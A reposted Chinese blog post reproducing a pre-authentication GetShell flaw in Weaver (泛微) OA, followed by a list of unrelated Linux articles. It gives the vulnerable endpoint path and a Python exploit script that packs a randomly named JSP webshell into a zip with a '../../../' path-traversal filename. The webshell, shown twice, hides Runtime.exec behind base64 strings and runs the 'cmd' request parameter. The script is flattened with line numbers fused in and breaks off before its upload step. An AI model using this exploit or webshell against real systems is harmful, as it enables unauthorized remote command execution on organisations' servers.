泛微 OA 前台 GetShell 复现

自行搭建环境:

泛微 OA 前台 GetShell 复现

漏洞路径:

/weaver/weaver.common.Ctrl/.css?arg0=com.cloudstore.api.service.Service_CheckApp&arg1=validateApp

漏洞验证:

发送上传数据包:

泛微 OA 前台 GetShell 复现

验证结果:

泛微 OA 前台 GetShell 复现

懒人:

泛微 OA 前台 GetShell 复现

PY

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667
import zipfileimport randomimport sysimport requestsdef generate_random_str(randomlength=16):  random_str = ''  base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'  length = len(base_str) - 1  for i in range(randomlength):    random_str += base_str[random.randint(0, length)]  return random_strmm = generate_random_str(8)webshell_name1 = mm+'.jsp'webshell_name2 = '../../../'+webshell_name1def file_zip():    shell = """    if(request.getParameter("cmd")!=null){        BASE64Decoder decoder = new BASE64Decoder();        Class rt = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlJ1bnRpbWU=")));        Process e = (Process)                rt.getMethod(new String(decoder.decodeBuffer("ZXhlYw==")), String.class).invoke(rt.getMethod(new                        String(decoder.decodeBuffer("Z2V0UnVudGltZQ=="))).invoke(null, new                        Object[]{}), request.getParameter("cmd") );        java.io.InputStream in = e.getInputStream();        int a = -1;        byte[] b = new byte[2048];        out.print("");        while((a=in.read(b))!=-1){            out.println(new String(b));        }        out.print("");    }%>    """

CODE

12345678910111213141516171819202122
if(request.getParameter("cmd")!=null){        BASE64Decoder decoder = new BASE64Decoder();        Class rt = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlJ1bnRpbWU=")));        Process e = (Process)                rt.getMethod(new String(decoder.decodeBuffer("ZXhlYw==")), String.class).invoke(rt.getMethod(new                        String(decoder.decodeBuffer("Z2V0UnVudGltZQ=="))).invoke(null, new                        Object[]{}), request.getParameter("cmd") );        java.io.InputStream in = e.getInputStream();        int a = -1;        byte[] b = new byte[2048];        out.print("");        while((a=in.read(b))!=-1){            out.println(new String(b));        }        out.print("");    }%>

Original: https://www.cnblogs.com/nul1/p/14749353.html
Author: _nul1
Title: 泛微 OA 前台 GetShell 复现

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/529621/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • QT程序自启动

    故事背景:最近涉及到客户端更新自启动的一个问题,客户端检测到自己要更新,弹出一个更新界面,然后退出旧版本,启动新版本 技术调研:QProcess 直接上代码吧 这个代码的效果就是退…

    Linux 2023年6月13日
    0107
  • centos 8及以上安装mysql 8.0

    本文适用于centos 8及以上安装mysql 8.0,整体耗时20分钟内,不需要FQ 1.环境先搞好 systemctl stop firewalld //关闭防火墙 syste…

    Linux 2023年6月7日
    0111
  • Mac安装php和redis扩展

    Mac上有特定的包管理工具homebrew,也叫brew,这里的php安装用的就是brew 1安装php brew install php@7.0。 brw安装会自动管理依赖,所以…

    Linux 2023年5月28日
    099
  • 4-初识Django Admin

    初识Django Admin Django Admin是Django为我们提供的网站后台管理应用,通常网站,个人博客,CMS等都会有个后台管理界面,这个界面只有管理员权限的用户才能…

    Linux 2023年6月7日
    0102
  • VMware虚拟机centOS7下配置桥接网络

    在VMware虚拟机下centOS7下配置桥接网络 首先,在以下的配置都操作好之后,要确认宿主机的网络连接方式, 若为需要认证的网络,则可能会出现宿主机与虚拟机能互相ping,但虚…

    Linux 2023年6月6日
    0136
  • 手把手教你搭建一个SpringBoot工程

    手把手教你搭建一个SpringBoot工程 首先进入Spring官网,下载Demo工程 像这样设置好 点击下载 将工程导入Idea并打开 在 application.propert…

    Linux 2023年6月14日
    0125
  • [云原生]Kubernetes-Pod详解(第5章)

    一、Pod介绍 1.1 Pod结构 1.2 Pod定义 二、Pod配置 2.1 基本配置 2.2 镜像拉取 2.3 启动命令 2.4 环境变量 2.5 端口设置 2.6 资源配额 …

    Linux 2023年6月13日
    0148
  • 每周一个linux命令(ls)

    title: 每周一个linux命令(ls) date: 2021-10-10 09:18:00 tags: [ls,每周一个linux命令] categories: linux …

    Linux 2023年5月27日
    0129
  • 使用 Docker 安装 Zabbix,并配置自定义监控项

    镜像下载、域名解析、时间同步请点击阿里云开源镜像站 一、Zabbix 简介 Zabbix 可以用来监控各种网络参数,来保证服务器和系统的安全运行。并且 Zabbix 还提供了灵活的…

    Linux 2023年5月27日
    0142
  • VirtualBox网络模式 宿主机无法访问虚拟机问题记录

    问题背景 最近在公司使用VirtualBox虚拟机,使用虚拟的ubuntu系统,家里的路由能使用桥接模式,然后能双向ping通(宿主机 现在经常要打开虚拟Linux跑一些脚本和编译…

    Linux 2023年6月6日
    0110
  • springBoot2.*使用redis集群/单机方法

    Lettuce 和 Jedis 的定位都是Redis的client,所以他们当然可以直接连接redis server。 Jedis在实现上是直接连接的redis server,如果…

    Linux 2023年5月28日
    0119
  • [20220302]oracle如何定位使用library cache mutex 2.txt

    [20220302]oracle如何定位使用library cache mutex 2.txt –//这个问题实际上困扰我很久,我开始以为library cache b…

    Linux 2023年6月13日
    086
  • chmod 报错 changing permissions of ‘xxx’: Operation not permitted

    chmod的底层实现是 chattr命令,用此命的功能更为强大,甚至可以锁定文件,即使root用户也操作不了此文件。 先使用lsattr查看文件属性 `bashlsattr tem…

    Linux 2023年6月13日
    0105
  • ORA-01950: no privileges on tablespace ‘USERS’– 解决办法

    ORA-01950: no privileges on tablespace ‘USERS’ 原因: 在表空间 “USERS” 无权…

    Linux 2023年6月6日
    0359
  • 版本控制gitlab

    版本控制gitlab 版本控制gitlab 版本控制介绍 常用的版本控制工具: gitlab部署 gitlab网页界面的基本使用 使用命令行的方式进行上传文件 版本控制介绍 版本控…

    Linux 2023年6月6日
    0129
  • Redis 常用五种数据类型编码

    1.String 1.1 常用命令 (1)设置值 set key value [ex seconds] [px milliseconds] [nx|xx] set命令有几个选项: …

    Linux 2023年5月28日
    099
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球